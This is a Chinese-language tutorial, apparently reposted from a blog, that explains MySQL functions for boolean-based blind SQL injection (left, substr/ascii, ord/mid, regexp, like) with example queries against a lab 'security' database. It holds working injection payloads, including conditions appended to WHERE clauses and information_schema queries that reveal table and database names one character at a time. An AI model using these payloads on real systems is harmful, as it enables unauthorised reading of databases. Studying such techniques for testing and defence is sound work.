mysql内一些可以布尔盲注的查询语句

 
 
 
 
 

一、left()

首先需要 use security;  这个数据库,然后进入之后再使用查询语句:

 此时再使用:

select left(database(),1)='s'  #该语句表示database()显示数据库名称后,left(a,b)从左侧截取a的前b位,若为s则显示1,若大于或小于s则显示0

即可成功查询

二、substr()与ascii()

ascii(substr(a,b,c));是指从a的b位开始截取c长度,在注入中,c一般均为1;而ascii()则表示将某个字符转换为ascii值

select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

这句话的意思是:从所有库中查询出当前库——>database()——>security,再从security表中limit 0,1 即为第一个表,取该表的第一位,即 substr(a,b,c)第一位的第一个字符,查看其ascii值是否为101,是的话显示 1,不是显示0。

这样的用法不仅可用于查询表名,还可以用于查询库名:

select ascii(substr((select database()),1,1))=115;

意为查询当前数据库中的第一位是否为‘s’;

 三、ord()与mid()

对当前数据库——security中第一个表emails取第一位,大于98返回1,大于101返回0,等于101返回1,即为101:

 select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;

mid(a,b,c)从位置b开始,截取a字符串的c位

ord()函数与ascii()函数类似,将字符转为ascii值

 四、regexp正则

数据库执行user(),结果为:

正则可匹配当前的用户名是否为:root,是则返回1,不是则返回0:

select user() regexp '^ro';

五、一些实例正则使用:

(1)使用user()作为基底来做判断——>当前用户是否为root@locaihost,是则查出id为1的用户的账号密码,不是则返回0,由于是使用and进行连接,故查询的结果为空。

select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

 (2) 下面的语句是(1)的简化,一样的使用1的返回值来判断查询语句是否可以执行成功:

select * from users where id=1 and 1=(user() regexp'^r');

 (3)查询在security库中是否存在us开头的表名:

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

六、like

'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据

使用like做匹配注入:存在返回 1,不存在返回 0,%作为一个模糊匹配

原文地址:https://www.cnblogs.com/cute-puli/p/14459108.html